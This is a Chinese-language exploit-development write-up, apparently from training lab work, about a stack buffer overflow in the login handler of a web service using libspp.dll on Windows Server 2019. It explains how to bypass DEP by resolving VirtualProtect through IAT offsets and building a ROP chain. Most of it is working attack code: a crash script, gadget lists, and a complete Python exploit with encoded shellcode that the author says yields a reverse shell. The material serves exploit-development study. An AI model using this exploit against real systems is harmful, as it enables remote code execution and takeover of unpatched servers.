实验环境 Windows Server 2019(10.0.17763 N/A Build 17763)
, DEP
默认为AlwaysOn。
给了一个能crash
程序的模板脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import socket import sys
try: server = sys.argv[1] port = 80 size = 800 inputBuffer = b"A" * size content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content
print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print("Done!") except socket.error: print("Could not connect!")
|
offset
为780
,后续需要跟4bytes
的占位符,才能让ESP
指向后续字符的开头,不然会跳过后续字符开头的4bytes
。坏字符为\x00\x0a\x0d\x25\x26\x2b\x3d
。这些比较简单,就不说了。
先来看看未开启ASLR
的模块:

结合坏字符,这里能用的模块只有libspp.dll
。有个小问题出现了,在libspp.dll
的IAT
中找不到VirtualAllocStub,WriteProcessMemoryStub,VirtualProtectStub
类似这样的函数。
小知识:模块IAT
中各个函数的偏移是一定的,不同函数之间的距离也是一定的,两者不会随函数地址的变化而变化。

VirutalProtect
函数源于kernel32.dll
,虽然libspp.dll
中IAT
没有,但是可以用其他导入的kernel32
中的函数计算得到VirtualProtect
的实际地址。
在windbg
中来验证一下:
获取CreateFileA
和VirtualProtectStub
的地址:

计算二者之差(这个值是固定的,但是不同版本的系统这个值会不同):

根据libspp.dll
中IAT
的信息,获取CreateFileA
的实际地址:

得到VirtualProtectStub
的实际地址:

利用libspp.dll IAT
中CreateFileA
的地址找到VirtualProtectStub
地址的方法就介绍完了。
以上是手动操作,其实也可利用脚本来进行,外国友人写了一个寻找函数IAT
地址的脚本。

所需的知识已经准备就绪,接下来就是构建ROP Chain
了。开始我想用mona
自己生成,但是生成出来的ROP Chain
不完整,而且非常冗长。我一般会在它的基础上做一些更改,修改成一个简洁的ROP Chain
,或者会调整各寄存器的顺序,让原本无法生成ROP Chain
变成可以顺利生成。
首先,需要用rp++
生成ROP Gadget
集合,然后需要去掉包含坏字符的ROP Gadget
。
这里用到的过滤脚本如下:
1.filter-ropfile.py
2.find-gadgets.py
两个差不多,可以结合使用。
难点在ESI
值(它保存VirutalProtectStub
的地址)的生成,主要关注解引用,这样才能获取到CreateFileA
的地址,进而获取VirutalProtectStub
的地址:
注:说好的VirutalProtect
,为何变成了VirtualProtectStub
,因为VirtualProtect
最终调用的是VirutalProtectStub
。
1 2 3 4 5 6 7 8 9 10
| #[---INFO:gadgets_to_set_esi:---] 0x1002f729, # pop eax; ret; :: libspp.dll 0x10168060, # IAT KERNEL32!CreateFileA libspp.dll 0x1014dc4c, # mov eax, [eax] ; ret ; (1 found) 0x100cb4d4, # xchg eax, edx ; ret ; (1 found) 0x1002f729, # pop eax; ret; :: libspp.dll 0xffffd070, # offset = VirtualProtectStub - CreateFileA 0x1003f9f9, # add eax, edx ; retn 0x0004 ; (1 found) 0x100121b5, # xchg eax, esi ; cwde ; add bl, al ; mov eax, 0x02FAF080 ; ret ; (1 found) 0x41414141, # junk
|
完整的ROP Chain
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| def create_rop_chain():
rop_gadgets = [ 0x1002f729, 0x10168060, 0x1014dc4c, 0x100cb4d4, 0x1002f729, 0xffffd070, 0x1003f9f9, 0x100121b5, 0x41414141,
0x10129305, 0x10129305,
0x1012b413, 0xfffffdff, 0x1009904c, 0x100cb4d4, 0x10104e93, 0x1012b413, 0xffffffc0, 0x10078216, 0x100cb4d4, 0x1015d439, 0x1020c95e, 0x10128eba, 0x1010adf2, 0x1014f55d,
0x100bb515, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
|
完整的利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| import socket import sys import struct
shellcode = b"" shellcode += b"\xba\x6f\x57\xd7\xc5\xd9\xc3\xd9\x74\x24\xf4" shellcode += b"\x5e\x31\xc9\xb1\x52\x83\xc6\x04\x31\x56\x0e" shellcode += b"\x03\x39\x59\x35\x30\x39\x8d\x3b\xbb\xc1\x4e" shellcode += b"\x5c\x35\x24\x7f\x5c\x21\x2d\xd0\x6c\x21\x63" shellcode += b"\xdd\x07\x67\x97\x56\x65\xa0\x98\xdf\xc0\x96" shellcode += b"\x97\xe0\x79\xea\xb6\x62\x80\x3f\x18\x5a\x4b" shellcode += b"\x32\x59\x9b\xb6\xbf\x0b\x74\xbc\x12\xbb\xf1" shellcode += b"\x88\xae\x30\x49\x1c\xb7\xa5\x1a\x1f\x96\x78" shellcode += b"\x10\x46\x38\x7b\xf5\xf2\x71\x63\x1a\x3e\xcb" shellcode += b"\x18\xe8\xb4\xca\xc8\x20\x34\x60\x35\x8d\xc7" shellcode += b"\x78\x72\x2a\x38\x0f\x8a\x48\xc5\x08\x49\x32" shellcode += b"\x11\x9c\x49\x94\xd2\x06\xb5\x24\x36\xd0\x3e" shellcode += b"\x2a\xf3\x96\x18\x2f\x02\x7a\x13\x4b\x8f\x7d" shellcode += b"\xf3\xdd\xcb\x59\xd7\x86\x88\xc0\x4e\x63\x7e" shellcode += b"\xfc\x90\xcc\xdf\x58\xdb\xe1\x34\xd1\x86\x6d" shellcode += b"\xf8\xd8\x38\x6e\x96\x6b\x4b\x5c\x39\xc0\xc3" shellcode += b"\xec\xb2\xce\x14\x12\xe9\xb7\x8a\xed\x12\xc8" shellcode += b"\x83\x29\x46\x98\xbb\x98\xe7\x73\x3b\x24\x32" shellcode += b"\xd3\x6b\x8a\xed\x94\xdb\x6a\x5e\x7d\x31\x65" shellcode += b"\x81\x9d\x3a\xaf\xaa\x34\xc1\x38\x15\x60\x92" shellcode += b"\x31\xfd\x73\x24\x53\xa2\xfa\xc2\x39\x4a\xab" shellcode += b"\x5d\xd6\xf3\xf6\x15\x47\xfb\x2c\x50\x47\x77" shellcode += b"\xc3\xa5\x06\x70\xae\xb5\xff\x70\xe5\xe7\x56" shellcode += b"\x8e\xd3\x8f\x35\x1d\xb8\x4f\x33\x3e\x17\x18" shellcode += b"\x14\xf0\x6e\xcc\x88\xab\xd8\xf2\x50\x2d\x22" shellcode += b"\xb6\x8e\x8e\xad\x37\x42\xaa\x89\x27\x9a\x33" shellcode += b"\x96\x13\x72\x62\x40\xcd\x34\xdc\x22\xa7\xee" shellcode += b"\xb3\xec\x2f\x76\xf8\x2e\x29\x77\xd5\xd8\xd5" shellcode += b"\xc6\x80\x9c\xea\xe7\x44\x29\x93\x15\xf5\xd6" shellcode += b"\x4e\x9e\x15\x35\x5a\xeb\xbd\xe0\x0f\x56\xa0" shellcode += b"\x12\xfa\x95\xdd\x90\x0e\x66\x1a\x88\x7b\x63" shellcode += b"\x66\x0e\x90\x19\xf7\xfb\x96\x8e\xf8\x29"
def create_rop_chain():
rop_gadgets = [ 0x1002f729, 0x10168060, 0x1014dc4c, 0x100cb4d4, 0x1002f729, 0xffffd070, 0x1003f9f9, 0x100121b5, 0x41414141,
0x10129305, 0x10129305,
0x1012b413, 0xfffffdff, 0x1009904c, 0x100cb4d4, 0x10104e93, 0x1012b413, 0xffffffc0, 0x10078216, 0x100cb4d4, 0x1015d439, 0x1020c95e, 0x10128eba, 0x1010adf2, 0x1014f55d,
0x100bb515, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
try: server = sys.argv[1] port = 80 size = 800 inputBuffer = b"" junk1 = b'\x41'*780 eip = struct.pack("<L",0x10023b22) offset = b'\x42'*4 nops = b'\x90'*32 junk2 = b'\x43'*(1500-len(shellcode)-len(rop_chain)) inputBuffer = junk1+eip+offset+rop_chain+nops+shellcode+junk2 content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n" buffer += b"Host: " + server.encode() + b"\r\n" buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buffer += b"Accept-Language: en-US,en;q=0.5\r\n" buffer += b"Referer: http://10.11.0.22/login\r\n" buffer += b"Connection: close\r\n" buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" buffer += b"\r\n" buffer += content
print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buffer) s.close() print("Done!") except socket.error: print("Could not connect!")
|
用于覆盖EIP
的值,开始选择的ROP Gadget
地址属性为PAGE_READ
,导致Memory Access Violation
,换一个地址属性为PAGE_EXECUTE_READ
的即可,mona
生成的ROP Gadget
集合会标注是否为PAGE_EXECUTE_READ
,这一点还是很不错的。
喜闻乐见的反弹shell
:

其实,也可以参照之前《Vulnserver TRUN Bypass DEP With ROP On Win10》介绍的那样,手动构造ROP Chain
,不是很难。